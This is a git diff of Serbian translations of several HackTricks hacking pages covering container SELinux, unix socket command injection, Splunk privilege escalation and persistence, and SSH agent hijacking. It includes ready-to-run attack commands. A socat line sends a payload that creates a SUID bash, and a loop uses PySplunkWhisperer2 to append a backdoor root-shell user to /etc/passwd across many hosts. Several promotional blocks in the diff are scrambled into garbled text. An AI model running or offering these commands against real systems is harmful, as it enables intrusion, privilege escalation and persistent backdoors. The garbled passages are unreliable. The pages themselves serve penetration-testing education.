Ovo neće uvek raditi jer je podrazumevana operacija runc-a da se pokreće kao root, tako da njegovo pokretanje kao korisnika bez privilegija jednostavno ne može funkcionisati (osim ako nemate konfiguraciju bez root-a). Postavljanje konfiguracije bez root-a kao podrazumevane nije generalno dobra ideja jer postoji prilično mnogo ograničenja unutar kontejnera bez root-a koja se ne primenjuju van kontejnera bez root-a.
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,27 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# SELinux u kontejnerima
|
||||
|
||||
[Uvod i primer sa redhat dokumentacije](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
[Uvod i primer iz redhat dokumenata](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) je **sistem za obeležavanje**. Svaki **proces** i svaki **objekat fajl sistema** ima **oznaku**. SELinux politike definišu pravila o tome šta je **dozvoljeno procesnoj oznaci da radi sa svim ostalim oznakama** na sistemu.
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) je **sistem označavanja**. Svaki **proces** i svaki **objekat** u sistemu datoteka ima **označavanje**. SELinux politike definišu pravila o tome šta **označavanje procesa može da radi sa svim ostalim oznakama** u sistemu.
|
||||
|
||||
Kontejnerski engine pokreće **kontejnerske procese sa jednom ograničenom SELinux oznakom**, obično `container_t`, a zatim postavlja kontejner unutar kontejnera da bude označen sa `container_file_t`. SELinux pravila politike u osnovi kažu da **procesi `container_t` mogu samo čitati/pisati/izvršavati fajlove označene sa `container_file_t`**. Ako kontejnerski proces pobegne iz kontejnera i pokuša da piše na sadržaj na hostu, Linux kernel odbija pristup i dozvoljava samo kontejnerskom procesu da piše na sadržaj označen sa `container_file_t`.
|
||||
Kontejnerski alati pokreću **kontejnerske procese sa jednim ograničenim SELinux oznakom**, obično `container_t`, a zatim postavljaju kontejner unutar kontejnera da bude označen kao `container_file_t`. Pravila SELinux politike u suštini kažu da **`container_t` procesi mogu samo da čitaju/pisu/izvršavaju datoteke označene kao `container_file_t`**. Ako kontejnerski proces pobegne iz kontejnera i pokuša da piše u sadržaj na hostu, Linux kernel odbija pristup i dozvoljava kontejnerskom procesu da piše samo u sadržaj označen kao `container_file_t`.
|
||||
```shell
|
||||
$ podman run -d fedora sleep 100
|
||||
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
|
||||
|
@ -31,17 +33,19 @@ system_u:system_r:container_t:s0:c647,c780
|
|||
|
||||
Postoje SELinux korisnici pored redovnih Linux korisnika. SELinux korisnici su deo SELinux politike. Svaki Linux korisnik je mapiran na SELinux korisnika kao deo politike. Ovo omogućava Linux korisnicima da naslede ograničenja i sigurnosna pravila i mehanizme postavljene na SELinux korisnike.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,23 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Primer povezivanja soketa sa Python-om
|
||||
## Primer vezivanja soketa sa Pythonom
|
||||
|
||||
U sledećem primeru je **kreiran unix socket** (`/tmp/socket_test.s`) i sve što se **primi** će biti **izvršeno** pomoću `os.system`. Znam da ovo nećete naći u divljini, ali cilj ovog primera je da vidite kako izgleda kod koji koristi unix socket-ove i kako upravljati unosom u najgorem mogućem slučaju.
|
||||
U sledećem primeru **unix soket je kreiran** (`/tmp/socket_test.s`) i sve što je **primljeno** će biti **izvršeno** od strane `os.system`. Znam da ovo nećete naći u stvarnom svetu, ali cilj ovog primera je da se vidi kako izgleda kod koji koristi unix sokete i kako upravljati ulazom u najgorem mogućem slučaju.
|
||||
|
||||
{% code title="s.py" %}
|
||||
```python
|
||||
|
@ -48,20 +50,23 @@ netstat -a -p --unix | grep "socket_test"
|
|||
will not be shown, you would have to be root to see it all.)
|
||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||
```
|
||||
**Eksploatacija**
|
||||
**Iskorišćavanje**
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,56 @@
|
|||
# Splunk LPE i Persistencija
|
||||
# Splunk LPE and Persistence
|
||||
|
||||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Ako **enumerišete** mašinu **internim** ili **eksternim** putem i pronađete da je **Splunk pokrenut** (port 8090), ako srećom znate **validne akreditive**, možete **zloupotrebiti Splunk servis** da biste **izvršili shell** kao korisnik koji pokreće Splunk. Ako je root pokrenut, možete eskalirati privilegije na root.
|
||||
Ako **enumerišete** mašinu **interno** ili **eksterno** i pronađete da **Splunk radi** (port 8090), ako srećom znate bilo koje **validne kredencijale**, možete **zloupotrebiti Splunk servis** da **izvršite shell** kao korisnik koji pokreće Splunk. Ako ga pokreće root, možete eskalirati privilegije na root.
|
||||
|
||||
Takođe, ako već imate root privilegije i Splunk servis ne sluša samo na localhost-u, možete **ukrasti** fajl sa **lozinkama** iz Splunk servisa i **probijati** lozinke, ili **dodati nove** akreditive. I održavati postojanost na hostu.
|
||||
Takođe, ako ste **već root i Splunk servis ne sluša samo na localhost**, možete **ukrasti** **datoteku** sa **lozinkama** **iz** Splunk servisa i **provaliti** lozinke, ili **dodati nove** kredencijale. I održati postojanost na hostu.
|
||||
|
||||
Na prvoj slici ispod možete videti kako izgleda Splunkd web stranica.
|
||||
|
||||
## Splunk Universal Forwarder Agent Exploit Summary
|
||||
|
||||
|
||||
## Sažetak eksploatacije Splunk Universal Forwarder Agent-a
|
||||
|
||||
Za dalje detalje pogledajte post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Ovo je samo sažetak:
|
||||
Za dalju detalje proverite post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Ovo je samo sažetak:
|
||||
|
||||
**Pregled eksploatacije:**
|
||||
Eksploatacija koja cilja Splunk Universal Forwarder Agent (UF) omogućava napadačima sa lozinkom agenta da izvrše proizvoljni kod na sistemima koji pokreću agenta, potencijalno kompromitujući celu mrežu.
|
||||
Eksploatacija koja cilja Splunk Universal Forwarder Agent (UF) omogućava napadačima sa lozinkom agenta da izvrše proizvoljan kod na sistemima koji pokreću agenta, potencijalno kompromitujući celu mrežu.
|
||||
|
||||
**Ključne tačke:**
|
||||
- UF agent ne validira dolazne konekcije ili autentičnost koda, što ga čini ranjivim na izvršavanje neovlašćenog koda.
|
||||
- Uobičajeni načini dobijanja lozinki uključuju pronalaženje istih u mrežnim direktorijumima, deljenim fajlovima ili internim dokumentima.
|
||||
- Uspela eksploatacija može dovesti do pristupa na nivou SYSTEM-a ili root-a na kompromitovanim hostovima, eksfiltracije podataka i daljnje infiltracije u mrežu.
|
||||
- UF agent ne validira dolazne konekcije ili autentičnost koda, što ga čini ranjivim na neovlašćeno izvršavanje koda.
|
||||
- Uobičajene metode sticanja lozinki uključuju lociranje u mrežnim direktorijumima, deljenju datoteka ili internim dokumentima.
|
||||
- Uspešna eksploatacija može dovesti do pristupa na SISTEM ili root nivou na kompromitovanim hostovima, eksfiltraciju podataka i dalju infiltraciju u mrežu.
|
||||
|
||||
**Izvršavanje eksploatacije:**
|
||||
**Izvršenje eksploatacije:**
|
||||
1. Napadač dobija lozinku UF agenta.
|
||||
2. Koristi Splunk API za slanje komandi ili skripti agentima.
|
||||
3. Moguće akcije uključuju ekstrakciju fajlova, manipulaciju korisničkim nalozima i kompromitaciju sistema.
|
||||
3. Moguće akcije uključuju ekstrakciju datoteka, manipulaciju korisničkim nalozima i kompromitaciju sistema.
|
||||
|
||||
**Uticaj:**
|
||||
- Potpuna kompromitacija mreže sa privilegijama na nivou SYSTEM-a/root-a na svakom hostu.
|
||||
- Mogućnost onemogućavanja logovanja radi izbegavanja detekcije.
|
||||
- Instalacija zadnjih vrata ili ransomware-a.
|
||||
- Potpuna kompromitacija mreže sa SISTEM/root nivoom dozvola na svakom hostu.
|
||||
- Potencijal za onemogućavanje logovanja kako bi se izbeglo otkrivanje.
|
||||
- Instalacija backdoor-a ili ransomware-a.
|
||||
|
||||
**Primer komande za eksploataciju:**
|
||||
```bash
|
||||
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
|
||||
```
|
||||
**Upotrebljivi javni eksploiti:**
|
||||
**Iskoristive javne eksploatacije:**
|
||||
* https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
* https://www.exploit-db.com/exploits/46238
|
||||
* https://www.exploit-db.com/exploits/46487
|
||||
|
@ -56,21 +58,25 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
|
|||
|
||||
## Zloupotreba Splunk upita
|
||||
|
||||
**Za dodatne detalje pogledajte post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
|
||||
**Za više detalja pogledajte post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
|
||||
|
||||
**CVE-2023-46214** je omogućio otpremanje proizvoljnog skripta u **`$SPLUNK_HOME/bin/scripts`** i zatim je objašnjeno da se korišćenjem pretrage **`|runshellscript script_name.sh`** mogu **izvršiti** skripte koje su tamo smeštene.
|
||||
{% h*nt styCe="Vacceas" %}
|
||||
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
<dtil>
|
||||
|
||||
<details>
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,59 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Summary
|
||||
# Sažetak
|
||||
|
||||
Šta možete uraditi ako otkrijete unutar `/etc/ssh_config` ili unutar `$HOME/.ssh/config` konfiguracije ovo:
|
||||
Šta možete učiniti ako otkrijete unutar `/etc/ssh_config` ili unutar `$HOME/.ssh/config` konfiguraciju ovako:
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
Ako ste root unutar mašine, verovatno možete **pristupiti bilo kojoj ssh vezi koju je napravio bilo koji agent** koji možete pronaći u direktorijumu _/tmp_
|
||||
Ako ste root unutar mašine, verovatno možete **pristupiti bilo kojoj ssh vezi koju je napravio bilo koji agent** koji možete pronaći u _/tmp_ direktorijumu
